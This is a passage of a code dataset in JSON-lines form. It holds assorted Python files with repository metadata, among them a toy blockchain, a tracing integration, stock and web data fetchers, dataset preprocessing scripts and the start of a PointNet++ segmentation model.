가장 최신의 체인으로 인증된 것이므로 False를 반환.\n\n # directly access from class, share! not individual instance use it\n @staticmethod\n # 위의 staticmethod는 blockchain이라는 클래스 밖의 전역에서도 해당 함수를 사용할 수 있도록 정의하기위해서 \n # 사용한 것이다.\n def hash(block):\n # 블록을 입력받아 sha256해시함수를 이용한 해시값을 반환하는 함수.\n block_string = json.dumps(block, sort_keys=True).encode()\n # json.dumps로 block이라는 딕셔너리 객체를 정렬하고나서 encode()로 하여금 문자열로 인코딩을 한다.\n return hashlib.sha256(block_string).hexdigest()\n # sha256 : 단방향 암호화 해시함수, 64자리(256bit) 암호화 문자열로 출력해준다.\n # sha258을 통해 해당 블록의 해시출력\n @property\n # 데코레이션 property : 해당 데코레이션의 함수는 자동으로 set과 get의 속성을 부여받는 객체가 된다.\n # 즉, 어떤 값을 출력할 때는 get함수, 어떤 값을 입력할 때는 set함수가 사용된다.\n def last_block(self):\n # 마지막 블록에 대한 객체 생성\n return self.chain[-1]\n # 체인의 마지막으로 넣어진 블록을 출력.\n def pow(self, last_proof):\n # 블록을 마이닝할 노드는 반드시 해당 노드가 마이닝할 능력이 됨을 증명해야한다. \n # 즉, 이에 대한 증명방식이 필요한데 이중하나가 pow(작업증명방식)이다.\n # pow(작업증명방식)은 마이닝을 요청후 해당 마이닝 노드에서 임의의 값들로 컴퓨터 자원을 이용하여 \n # 해당 블록 체인 네트워크에서 문제내는 어떠한 해시값을 추리할때, 해당 해시값을 맞추면\n # 해당 노드가 블록을 생성할 수 있다는 것을 증명했다는것으로 생각하여 해당 노드는 pow을 통과\n # 마이닝할 수 있게되는 것이다.\n proof = 0\n # 여기서 proof는 논스로 pow과정중엣 pow를 만족시키기 위해 계속 값이 올라간다. \n while self.valid_proof(last_proof, proof) is False:\n proof += 1\n\n return proof\n\n @staticmethod\n def valid_proof(last_proof, proof):\n # 고정된 블록의 해시 입력값 + 논스값을 입력하여 pow증명을 해내가는 과정의 함수\n guess = str(last_proof + proof).encode()\n # pow을 하는 노드는 먼저 블록의 해시 입력값 + 논스값을 문자열로 인코딩한다.\n guess_hash = hashlib.sha256(guess).hexdigest()\n # 위에서 인코딩한 문자열 값을 sha256해시함수에 입력값으로 입력하여 64자리 문자열을 입력받고 다시 hexdigest로\n # 해당 64자리 문자열을 16진수로 변환하여 추측pow값을 추출한다.\n return guess_hash[:4] == \"0000\" \n # 추측한 64자리가 만약 마지막 4자리가 0000이 되었을때, \n\n\n# In[ ]:\n\n\n\n\n","repo_name":"jyc0011/dapp","sub_path":"TestAllBlock/blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":14219,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25754319129","text":"from thundra import constants\nfrom thundra.config import config_names\nfrom thundra.config.config_provider import ConfigProvider\nfrom thundra.integrations.base_integration import BaseIntegration\n\n\nclass ElasticsearchIntegration(BaseIntegration):\n CLASS_TYPE = 'elasticsearch'\n\n def __init__(self):\n pass\n\n def get_hosts(self, instance):\n try:\n hosts = [con.host for con in instance.connection_pool.connections]\n return hosts\n except Exception:\n return []\n\n def get_normalized_path(self, es_uri):\n path_depth = ConfigProvider.get(config_names.THUNDRA_TRACE_INTEGRATIONS_ELASTICSEARCH_PATH_DEPTH)\n\n path_seperator_count = 0\n normalized_path = ''\n prev_c = ''\n for c in es_uri:\n if c == '/' and prev_c != '/':\n path_seperator_count += 1\n\n if path_seperator_count > path_depth:\n break\n\n normalized_path += c\n prev_c = c\n return normalized_path\n\n def get_operation_name(self, wrapped, instance, args, kwargs):\n try:\n es_uri = args[1]\n return self.get_normalized_path(es_uri)\n except KeyError:\n return ''\n\n def before_call(self, scope, wrapped, instance, args, kwargs, response, exception):\n scope.span.class_name = constants.ClassNames['ELASTICSEARCH']\n scope.span.domain_name = constants.DomainNames['DB']\n\n operation_name = self.get_operation_name(wrapped, instance, args, kwargs)\n hosts = self.get_hosts(instance)\n\n http_method, es_path = args\n es_body = kwargs.get('body', {})\n es_params = kwargs.get('params', {})\n\n tags = {\n constants.ESTags['ES_HOSTS']: hosts,\n constants.ESTags['ES_URI']: es_path,\n constants.ESTags['ES_NORMALIZED_URI']: operation_name,\n constants.ESTags['ES_METHOD']: http_method,\n constants.ESTags['ES_PARAMS']: es_params,\n constants.DBTags['DB_TYPE']: 'elasticsearch',\n constants.SpanTags['OPERATION_TYPE']: http_method,\n constants.SpanTags['TOPOLOGY_VERTEX']: True,\n }\n\n if not ConfigProvider.get(config_names.THUNDRA_TRACE_INTEGRATIONS_ELASTICSEARCH_BODY_MASK):\n tags[constants.ESTags['ES_BODY']] = es_body\n\n scope.span.tags = tags\n","repo_name":"thundra-io/thundra-agent-python","sub_path":"thundra/integrations/elasticsearch.py","file_name":"elasticsearch.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"37"} +{"seq_id":"25620445","text":"from app.entities import CheckInDB, CreateCheck, ModeratorsCheck, ModeratorsCheckQuery\nfrom app.services.api.base import BaseAPI\n\n\nclass CheckAPI(BaseAPI):\n async def create_check(self, steamid: str, moderator_vk_id: int, server_number: int) -> int:\n request_body = CreateCheck(steamid=steamid, moderator_vk_id=moderator_vk_id, server_number=server_number).dict(\n exclude_none=True\n )\n result = await self.client.api_POST_request('/v1/checks', body=request_body, response_model=CheckInDB)\n return result.id\n\n async def complete_check(self, check_id: int, is_ban: bool = False) -> CheckInDB:\n return await self.client.api_PUT_request(f'/v1/checks/{check_id}', query={'is_ban': str(is_ban)})\n\n async def cancel_check(self, check_id: int) -> CheckInDB:\n return await self.client.api_DELETE_request(f'/v1/checks/{check_id}')\n\n async def add_check(self, create_check: CreateCheck) -> int:\n result = await self.client.api_POST_request(\n '/v1/checks', body=create_check.dict(exclude_none=True), response_model=CheckInDB\n )\n return result.id\n\n async def get_checked_players(self, steamids: list[int]) -> dict[str, int]:\n return await self.client.api_POST_request('/v1/checks/get_checked', body=steamids, response_model=dict)\n\n async def get_last_check(self, steamid: str) -> CheckInDB:\n return await self.client.api_GET_request(f'/v1/checks/steamid/{steamid}', response_model=CheckInDB)\n\n async def get_moderator_checks(self, time_start: float, time_end: float) -> list[ModeratorsCheck]:\n query = ModeratorsCheckQuery(time_start=time_start, time_end=time_end).dict(exclude_none=True)\n return await self.client.api_GET_request(\n '/v1/checks/moderators_count',\n query=query,\n response_model=list[ModeratorsCheck],\n )\n","repo_name":"MagicRustHelper/vk_bot","sub_path":"app/services/api/check_api.py","file_name":"check_api.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9565162157","text":"#NEW FEATURES\n#-------------------------------------------------------------------------------\n# Name: Outputting format for orders\n# Purpose: Outputting format for orders training yoloV3\n# Author: aka9\n# Created: 28/07/2019\n\n#\n#-------------------------------------------------------------------------------\n\nimport glob, os, sys\n\ncurrent_dir = '/content/YoloV3/data/YoloV3_Dataset/images'\n\ndef process(current_dir):\n #current_dir = 'Images/full_catAndDog'\n\n # Percentage of images to be used for the test set\n percentage_test = 10;\n\n # Create and/or truncate train.txt and test.txt\n file_train = open('train.txt', 'w')\n file_test = open('test.txt', 'w')\n\n # Populate train.txt and test.txt\n counter = 1\n index_test = round(100 / percentage_test)\n print(\"Warning: we assume that all pictures to be processed are jpgs\")\n for pathAndFilename in glob.iglob(os.path.join(current_dir, \"*.jpg\")):\n title, ext = os.path.splitext(os.path.basename(pathAndFilename))\n\n if counter == index_test:\n counter = 1\n file_test.write(current_dir + \"/\" + title + '.jpg' + \"\\n\")\n else:\n file_train.write(current_dir + \"/\" + title + '.jpg' + \"\\n\")\n counter = counter + 1\n\ndef main():\n process(current_dir)\n\nif __name__ == '__main__':\n main()\n","repo_name":"millermuttu/YOLOv3_custom","sub_path":"data/customdata/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33678284403","text":"import tushare\nimport pandas\nimport datetime\nimport os\nimport time\n\n\n# 因为每只股票所要得到的数据结果都是一样的,所以我们只需要\n# 定义一个函数完成这种功能即可\ndef stockPriceIntraday(ticker,folder):\n #step 1: 获取五分钟k线的所有数据\n intraday = tushare.get_hist_data(ticker, ktype='5')\n #step 2: 新建一个文件file\n file = folder+'/'+ticker+'.csv'\n #step 5 :系统需要先找到文件才能逐行写入数据,再用pandas类名调用rend_csv方法\n # 读取文件头,当值为0时,用append在下方继续添加数据。这样的结果\n # 就是可以将数据翻转过来,便于读取。\n if os.path.exists(file):\n\n history = pandas.read_csv(file,index_col=0)\n\n intraday.append(history)\n # print(intraday)\n # step 3 :获取头部信息,并把名字改成'timestemps'\n intraday.sort_index(inplace=True)\n intraday.index.name='timestemps'\n # step 4:将提取并整理之后的数据丢到文件里\n intraday.to_csv(file)\n print('intraday got and save')\n\n# ----------------这里穿插一段代码用于测试--------------------\n# step1:通过'get_stock_basics()'方法可以直接获取所有股票面板信息\nTickersRawData = tushare.get_stock_basics()\n# step2:通过第一步的对象调用index.tolist()方法,获取所有股票面板信息的头部(即股票代码)\ntickers = TickersRawData.index.tolist()\n# step3:新建一个后缀为'.csv'的文件,并用today().strftime()修改一下文件名的格式\ndateToday = datetime.datetime.today().strftime('%Y%m%d')\n# 重点提醒:新建TickerList_文件时,只能引用到它上层的两层目录/Data/TickerListCN/多或者少都会报错!!!\nfile = '../Data/TickerListCN/TickerList_'+dateToday+'.csv'\n# 通过to_csv()方法,把第二步获取到的信息丢到刚新建的.csv文件中,并用print()方法打印到屏幕中\nTickersRawData.to_csv(file)\nprint('tickers save')\n# # ----------------这里穿插一段代码用于测试--------------------\n\n\n# step 6:当做到第5步时,我们已经完成了一个功能函数的定义,我们只需调用这个函数便可以获取一只股票的信息\n# 所以我们想要获取A股所有股票信息,只需要对它进行遍历就行。\n\nfor i ,ticker in enumerate(tickers):\n # 在循环中加一个异常的反馈,try ,except: 最后break 完成程序\n try:\n print('intraday',i,'/',len(tickers))\n stockPriceIntraday(ticker, folder='../Data/intradayCN')\n time.sleep(5)\n except:\n pass\n if i>50:\n\n break\n\nprint('end')\n\n\n\n\n\n# stockPriceIntraday('600031',folder = '../Data/intradayCN')","repo_name":"ks1941/Tushare","sub_path":"Tushare 03 CN- Get intraday.py","file_name":"Tushare 03 CN- Get intraday.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27566817008","text":"import m2collections\nimport m3stringobject\nimport random\n\ntext = \"\"\"homEwork:\n\ttHis iz your homeWork, copy these Text to variable. \n\n\tYou NEED TO normalize it fROM letter CASEs point oF View. also, create one MORE senTENCE witH LAST WoRDS of each existING SENtence and add it to the END OF this Paragraph.\n\n\tit iZ misspeLLing here. fix“iZ” with correct “is”, but ONLY when it Iz a mistAKE. \n\n\tlast iz TO calculate nuMber OF Whitespace characteRS in this Text. caREFULL, not only Spaces, but ALL whitespaces. I got 87.\n\"\"\"\n\n\ndef resultoutput(str_message, str_output):\n \"\"\"Returns formatted message\n Parameters:\n str_message, str_output (str)\n \"\"\"\n print(f\"{str_message}:\\n {str_output}\")\n\n\nif __name__ == \"__main__\":\n print(\"Module 2: collections\\n---------------------\")\n # Generate random number of dicts\n number_dicts = random.randint(2, 10)\n g_dict_list = m2collections.get_dicts(number_dicts)\n g_dict_common = m2collections.get_common_dict(g_dict_list)\n print(\"List of dicts\\n\", g_dict_list)\n print(\"Common dict\\n\", g_dict_common)\n # <----------------------------------------------------------------------------->\n print(\"\\nModule 3: string object\\n-----------------------\")\n #resultoutput(\"Normalized text\", m3stringobject.text_normalize(m3stringobject.text_split(text)))\n text_normalizing = m3stringobject.text_normalize(m3stringobject.text_split(text))\n extended_sentense = m3stringobject.more_setences(text_normalizing)\n #resultoutput(\"Extended sentences\", m3stringobject.more_setences(text_normalizing))\n #resultoutput(\"Corrected spelling\", m3stringobject.text_misspell(extended_sentense))\n misspell_sentences = m3stringobject.text_misspell(extended_sentense)\n m3stringobject.count_whitespaces(misspell_sentences)\n","repo_name":"OleksandrHorbunov/python_dqe","sub_path":"hwm4.py","file_name":"hwm4.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30795349468","text":"import os\nimport collections\n\ndirectory = '/Users/pga/odoo/bk'\n\ndef get_modules():\n dirs = {}\n for d in os.scandir(directory):\n path = d.path\n if 'Chapter' in path:\n dirs[path] = []\n for sub_d in os.scandir(path):\n if sub_d.path.split('/')[-1].startswith('r'):\n dirs[path].append(sub_d.path)\n dirs[path] = sorted(dirs[path])\n return collections.OrderedDict(sorted(dirs.items()))\n\n","repo_name":"pga-odoo/book_test","sub_path":"addons_list.py","file_name":"addons_list.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6771346991","text":"import codecs\nimport json\n\ndef preprocess_zhihu():\n for i in range(216):\n zhihu_data = codecs.open('zhihu_data/'+str(i)+'.txt', 'r', 'utf-8')\n question_line = zhihu_data.readline()\n if len(question_line) == 0:\n continue\n question = json.loads(question_line)\n answers = []\n j = 0\n for answers_line in zhihu_data.readlines():\n try:\n sub_answers = json.loads(answers_line)\n answers.extend(sub_answers)\n except:\n print(i, j)\n print(sub_answers[0]['content'][0:20])\n raise RuntimeError('testError')\n j += 1\n zhihu_data.close()\n question['answers'] = answers\n with open('zhihuData/'+str(i)+'.txt', 'w', encoding='utf-8') as file:\n file.write(json.dumps(question, ensure_ascii=False))\n\ndef preprocess_weibo():\n for i in range(78, 202):\n comments = []\n weibo_data = codecs.open('weibo_data/'+str(i)+'.txt', 'r', 'utf-8')\n weibo_line = weibo_data.readline()\n weibo = json.loads(weibo_line)\n templateComments = None\n for comments_line in weibo_data.readlines():\n if not templateComments:\n templateComments = json.loads(comments_line)\n comments.extend(json.loads(comments_line)['comments'])\n if templateComments:\n for key in templateComments.keys():\n if key != 'comments':\n weibo[key] = templateComments[key]\n weibo['comments'] = comments\n with open('weiboData/'+str(i)+'.txt', 'w', encoding='utf-8') as file:\n file.write(json.dumps(weibo, ensure_ascii=False))\n\n\npreprocess_weibo()","repo_name":"APTX-4869-MDZZ/e-commerce-PJ","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26363248981","text":"import pygame\n\n\ndef __trans_key_info_to_chars__(info=[]) -> list:\n \"\"\"\n 将输入信息转换为包括 当前按下所有按键 的字符数组\n :param info:\n :return:\n \"\"\"\n if len(info) == 0:\n return\n chars = []\n dic = info[-1]\n for c in dic:\n if dic[c] == 1:\n chars.append(c)\n chars.sort()\n return chars\n\n\ndef print_key_info(info=[]):\n \"\"\"\n 对按键信息作输出处理\n :param info:\n :return:\n \"\"\"\n # for item in info:\n # print(item)\n print(info)\n for c in __trans_key_info_to_chars__(info):\n print(c, end='')\n else:\n print()\n\n\ndef show_visiable_key_info(screen, info=[]):\n \"\"\"\n 将键盘信息输出到屏幕\n :param screen:\n :param info:\n :return:\n \"\"\"\n screen.blit(pygame.image.load('resources/back.jpg').convert(), (0, 0))\n for c in __trans_key_info_to_chars__(info):\n locate = [0, 0]\n ky0 = 0\n ky1 = ky0 + 1\n ky2 = ky1 + 1\n kx0 = 0\n kx1 = kx0 + 1\n kx2 = kx1 + 1\n kx3 = kx2 + 1\n kx4 = kx3 + 8\n kx5 = kx4 + 1\n kx6 = kx5 + 1\n kx7 = kx6 + 1\n if c == 'q':\n locate = [kx0, ky0]\n elif c == 'w':\n locate = [kx1, ky0]\n elif c == 'e':\n locate = [kx2, ky0]\n elif c == 'r':\n locate = [kx3, ky0]\n elif c == 'u':\n locate = [kx4, ky0]\n elif c == 'i':\n locate = [kx5, ky0]\n elif c == 'o':\n locate = [kx6, ky0]\n elif c == 'p':\n locate = [kx7, ky0]\n elif c == 'a':\n locate = [kx0, ky1]\n elif c == 's':\n locate = [kx1, ky1]\n elif c == 'd':\n locate = [kx2, ky1]\n elif c == 'f':\n locate = [kx3, ky1]\n elif c == 'j':\n locate = [kx4, ky1]\n elif c == 'k':\n locate = [kx5, ky1]\n elif c == 'l':\n locate = [kx6, ky1]\n elif c == ';':\n locate = [kx7, ky1]\n elif c == 'z':\n locate = [kx0, ky2]\n elif c == 'x':\n locate = [kx1, ky2]\n elif c == 'c':\n locate = [kx2, ky2]\n elif c == 'v':\n locate = [kx3, ky2]\n elif c == 'm':\n locate = [kx4, ky2]\n elif c == ',':\n locate = [kx5, ky2]\n elif c == '.':\n locate = [kx6, ky2]\n elif c == '/':\n locate = [kx7, ky2]\n coord = [20 * locate[0], 30 * locate[1]]\n screen.blit(pygame.font.SysFont(str(pygame.font.get_fonts()[75]), 30).render(c, 3, (0, 0, 255)),coord)\n","repo_name":"0jiejie0/sum","sub_path":"pymdl2001/output/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"3570572383","text":"\nimport os\n\nif __name__ == \"__main__\":\n\n root_dir = \"FFHQ\"\n\n print(\"Folder2HTML started, root: \" + root_dir)\n\n style_dir_names = [f for f in os.listdir(root_dir) if f.lower().startswith(\"output_\") and os.path.isdir(os.path.join(root_dir, f))]\n input_dir_names = [f for f in os.listdir(os.path.join(root_dir, style_dir_names[0]))]\n\n for style_dir_name in style_dir_names:\n html_file_name = os.path.join(root_dir, style_dir_name + \".html\")\n f = open(html_file_name, \"w+\")\n style_name = style_dir_name.replace(\"output_\", \"\")\n\n for input_name in input_dir_names:\n input_img = \"<img height=512 src=\\\"\" + \"input/\" + input_name + \".png\" + \"\\\"> \"\n no_voting_img = \"<img height=512 src=\\\"\" + style_dir_name + \"/\" + input_name + \"/\" + input_name + \"_\" + style_name + \"_0voting_face_ours.png\" + \"\\\"> \"\n voting_3_img = \"<img height=512 src=\\\"\" + style_dir_name + \"/\" + input_name + \"/\" + input_name + \"_\" + style_name + \"_3voting_face_ours.png\" + \"\\\"> \"\n voting_5_img = \"<img height=512 src=\\\"\" + style_dir_name + \"/\" + input_name + \"/\" + input_name + \"_\" + style_name + \"_5voting_face_ours.png\" + \"\\\"> \"\n style_img = \"<img height=512 src=\\\"\" + \"styles/\" + style_name + \".png\" + \"\\\">\"\n\n line = input_img + no_voting_img + voting_3_img + voting_5_img + style_img + \" <br> \\n\"\n f.write(line)\n f.close()\n print(\"HTML saved at: \" + html_file_name)\n","repo_name":"AnetaTexler/FaceBlit","sub_path":"tools/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"37"} +{"seq_id":"7023235808","text":"import os.path\nimport numpy as np\nimport pickle\nfrom collections import defaultdict\nfrom calc_exac_freq_func import codon_table\n\ncurr_dir = '.'\nHMM_STATES_FOLDER = '/media/vineetb/t5-vineetb/dsprint/out/pfam/32/hmm_states'\ndomain = 'ig'\n\n\ndef calculate_ns(codon):\n \"\"\"Given a codon (string of len=3 of chars from {A,T,G,C}\n Calculate n = number of nonsynonymous sites possible for this codon,\n and s = number of synnonymous sites possible for this codon.\n n+s=3, since this is a site measurment\"\"\"\n\n ref_aa = codon_table[codon]\n bp1 = codon[:1]\n bp2 = codon[1:2]\n bp3 = codon[2:]\n\n syn = 0\n nonsyn = 0\n nucletoides = [\"A\", \"T\", \"G\", \"C\"]\n\n # Mutating bp1\n for n in nucletoides:\n if (bp1 == n):\n continue\n alt_codon = n + bp2 + bp3\n alt_aa = codon_table[alt_codon]\n if (alt_aa == ref_aa):\n syn += 1\n else:\n nonsyn += 1\n\n # Mutating bp2\n for n in nucletoides:\n if (bp2 == n):\n continue\n alt_codon = bp1 + n + bp3\n alt_aa = codon_table[alt_codon]\n if (alt_aa == ref_aa):\n syn += 1\n else:\n nonsyn += 1\n\n # Mutating bp3\n for n in nucletoides:\n if (bp3 == n):\n continue\n alt_codon = bp1 + bp2 + n\n alt_aa = codon_table[alt_codon]\n if (alt_aa == ref_aa):\n syn += 1\n else:\n nonsyn += 1\n\n n = float('{:.5e}'.format(float(nonsyn / float(3))))\n s = float('{:.5e}'.format(float(syn / float(3))))\n\n return (n, s)\n\n\ndef seq_ns(sequence):\n \"\"\"Given a sequence of nucletides that comprise full codons triplets\n calculate and return N = the total number of nonsynnonymous sites,\n and S = the total number of synnonymous sites\n Each codon is mutiliplied by the individual frequency\"\"\"\n\n N = 0\n S = 0\n\n for i in range(0, len(sequence), 3):\n codon = sequence[i:i + 3]\n N += codon_ns_table[codon][\"N\"]\n S += codon_ns_table[codon][\"S\"]\n\n return (N, S)\n\n\nif __name__ == '__main__':\n\n # Creating the substitutions table\n codon_ns_table = dict.fromkeys(codon_table.keys())\n for codon in codon_ns_table.keys():\n (n, s) = calculate_ns(codon)\n codon_ns_table[codon] = dict.fromkeys([\"N\", \"S\"])\n codon_ns_table[codon][\"N\"] = n\n codon_ns_table[codon][\"S\"] = s\n\n # Exporting the table to file (to enable usage of other scripts)\n with open(curr_dir[0] + \"/codon_ns_table.pik\", 'wb') as handle:\n pickle.dump(codon_ns_table, handle, protocol=pickle.HIGHEST_PROTOCOL)\n","repo_name":"Singh-Lab/dSPRINT","sub_path":"scripts/5.HMM_alter_align/pn_ps.py","file_name":"pn_ps.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"11941311627","text":"import json\n\n#read create\nimport random\nfrom re import S \nimport string \nfrom src import image as image\n\ndef get_random_string(length):\n # choose from all lowercase letter\n letters = string.ascii_lowercase\n result_str = ''.join(random.choice(letters) for i in range(length))\n return result_str\n \ndef createUsers():\n jsonFilePath = r\"Data/user.json\"\n \n \n # create a dictionary\n #new = numUser\n data = None\n \n # 1. Read file contents\n with open(jsonFilePath, \"r\") as read_file:\n data = json.load(read_file)\n # 2. Update json, object\n for i in range (100):\n prenom = get_random_string(5)\n row = {}\n row['Name'] = prenom\n row['Num'] = i + 1 \n row['Preference']=[]\n for j in range (0,20):\n imgs=image.ouverture()\n total=len(imgs) \n row['Preference'].append(random.randint(1,total))\n data[i+1] = row\n # # 3. Write json file \n \n with open(jsonFilePath, \"w\") as file:\n \n json.dump(data, file)\n\n\ndef ouverture():\n jsonFilePath = r\"Data/user.json\"\n with open(jsonFilePath, \"r\") as read_file:\n data = json.load(read_file)\n return data\n\ndef write(data):\n with open(\"Data/user.json\", \"w\") as file: \n json.dump(data, file)\n\n\ndef add_preference(idUser, idImage):\n data = open()\n prefUser = data[str(idUser)]['Preference']\n prefUser.append(idImage)\n data[str(idUser)]['Preference'] = prefUser\n write(data)\n\n\ndef remove_preference(idUser, idImage):\n data = ouverture()\n prefUser = data[str(idUser)]['Preference']\n prefUser.remove(idImage)\n data[str(idUser)]['Preference'] = prefUser\n write(data)\n\ndef getImg_pref(id_user):\n data =ouverture()\n prefUser = data[str(id_user)]['Preference']\n return prefUser","repo_name":"athenaisT/BigData","sub_path":"src/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71360121387","text":"# Armstrong number in a given range\r\nn1, n2 =map(int, input(\"Enter inner and ourt range separated by space : \").split())\r\nlist1=[\" \"]\r\nfor i in range(n1,n2):\r\n nc=str(i)\r\n l=len(nc)\r\n n=i\r\n x=1\r\n s=0\r\n while(x>0):\r\n x=n%10\r\n s+=x**l\r\n n=n//10\r\n if s==i:\r\n list1.append(i)\r\nprint(f\"Armstrong numbers in the range {n1} and {n2} are:\")\r\nfor i in list1:\r\n print(i)","repo_name":"anjalee15/Top-100-codes-in-Python-","sub_path":"Armstrong_no_range_13.py","file_name":"Armstrong_no_range_13.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22473302008","text":"from time import sleep\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass LTPFetch:\n # Url to fetch daily High Low LTP Open Close\n url = \"http://www.bseindia.com/stock-share-price/SiteCache/EQHeaderData.aspx?text=\"\n\n def __init__(self, Code=''):\n # sleep(0.2)\n # print(\"Querying for Code = {}\".format(Code))\n try:\n self.response = ''\n r = requests.get(self.url + Code)\n r.raise_for_status()\n # response\n soup = BeautifulSoup(r.text, 'html.parser')\n self.response = soup.text\n # print(\"response = {}\".format(self.response))\n except requests.exceptions.HTTPError as e:\n print(\"Error occurred fetching data for Code = {}, error = {}\".format(Code, e))\n","repo_name":"sujatajamdhade/mm3.1","sub_path":"src/main/python/LTPFetch.py","file_name":"LTPFetch.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13559846966","text":"import numpy as np\n\n\n# From https://github.com/ibab/tensorflow-wavenet/blob/master/test/test_mu_law.py\n# A set of mu law encode/decode functions implemented\n# in numpy\ndef _manual_mu_law_encode(signal, quantization_channels):\n # Manual mu-law companding and mu-bits quantization\n mu = quantization_channels - 1\n\n magnitude = np.log1p(mu * np.abs(signal)) / np.log1p(mu)\n signal = np.sign(signal) * magnitude\n\n # Map signal from [-1, +1] to [0, mu-1]\n signal = (signal + 1) / 2 * mu + 0.5\n quantized_signal = signal.astype(np.int32)\n\n return quantized_signal\n\n\ndef _manual_mu_law_decode(signal, quantization_channels):\n # Calculate inverse mu-law companding and dequantization\n mu = quantization_channels - 1\n y = signal.astype(np.float32)\n\n y = 2 * (y / mu) - 1\n x = np.sign(y) * (1.0 / mu) * ((1.0 + mu) ** abs(y) - 1.0)\n return x\n\n\ndef mulaw(signal, quantization_channels):\n return _manual_mu_law_decode(\n _manual_mu_law_encode(signal, quantization_channels), quantization_channels\n )\n","repo_name":"turian/audiojnd","sub_path":"native_transformations.py","file_name":"native_transformations.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73178356588","text":"# Dictionary ##\r\ndef printBill():\r\n bill=0\r\n print('*'*50)\r\n print('Product\\t\\tQuantity\\t\\tPrice')\r\n print('*'*50)\r\n for p,q in invoice.items():\r\n print(f'{p}\\t\\t{q}\\t\\t{products[p]*q}')\r\n bill+=products[p]*q\r\n print('*'*50)\r\n print(f'Total Bill\\t\\t\\t{bill}')\r\nproducts={'walnuts':1500,'cashew':1800,'almond':2000,'pine nuts':8000}\r\ninvoice={} #product:quantity\r\nwhile(True):\r\n p=input('Enter the product to buy [blank to quit]:')\r\n if(p==''):\r\n break\r\n uPrice=products.get(p)\r\n if(uPrice is None):\r\n print('Sorry, requested item is not availble.')\r\n continue\r\n q=eval(input('Enter the quantity:'))\r\n if(p not in invoice.keys()):\r\n invoice[p]=q\r\n else:\r\n invoice[p]+=q\r\nprintBill()","repo_name":"MAN1986/Python-Programming-Basics","sub_path":"dryFruits.py","file_name":"dryFruits.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"74061514666","text":"\"\"\"PointNet++\n\nReferences:\n @article{qi2017pointnetplusplus,\n title={PointNet++: Deep Hierarchical Feature Learning on Point Sets in a Metric Space},\n author={Qi, Charles R and Yi, Li and Su, Hao and Guibas, Leonidas J},\n journal={arXiv preprint arXiv:1706.02413},\n year={2017}\n }\n\"\"\"\n\nimport torch\nimport torch.nn as nn\n\nfrom core.nn import SharedMLP\nfrom core.nn.init import xavier_uniform, set_bn\nfrom shaper.models.pointnet2.modules import PointNetSAModule, PointnetFPModule\n\n\nclass PointNet2SSGPartSeg(nn.Module):\n \"\"\"PointNet++ part segmentation with single-scale grouping\n\n PointNetSA: PointNet Set Abstraction Layer\n PointNetFP: PointNet Feature Propagation Layer\n\n Args:\n in_channels (int): the number of input channels\n num_classes (int): the number of classification class\n num_seg_classes (int): the number of segmentation class\n num_centroids (tuple of int): the numbers of centroids to sample in each set abstraction module\n radius (tuple of float): a tuple of radius to query neighbours in each set abstraction module\n num_neighbours (tuple of int): the numbers of neighbours to query for each centroid\n sa_channels (tuple of tuple of int): the numbers of channels within each set abstraction module\n fp_channels (tuple of tuple of int): the numbers of channels for feature propagation (FP) module\n num_fp_neighbours (tuple of int): the numbers of nearest neighbor used in FP\n seg_channels (tuple of int): the numbers of channels in segmentation mlp\n dropout_prob (float): the probability to dropout input features\n use_xyz (bool): whether or not to use the xyz position of a points as a feature\n use_one_hot (bool): whehter to use one hot vector of class labels.\n\n References:\n https://github.com/charlesq34/pointnet2/blob/master/models/pointnet2_part_seg.py\n\n \"\"\"\n\n def __init__(self,\n in_channels,\n num_classes,\n num_seg_classes,\n num_centroids=(512, 128, 0),\n radius=(0.2, 0.4, -1.0),\n num_neighbours=(64, 64, -1),\n sa_channels=((64, 64, 128), (128, 128, 256), (256, 512, 1024)),\n fp_channels=((256, 256), (256, 128), (128, 128, 128)),\n num_fp_neighbours=(0, 3, 3),\n seg_channels=(128,),\n dropout_prob=0.5,\n use_xyz=True,\n use_one_hot=True):\n super(PointNet2SSGPartSeg, self).__init__()\n\n self.in_channels = in_channels\n self.num_classes = num_classes\n self.num_seg_classes = num_seg_classes\n self.use_xyz = use_xyz\n 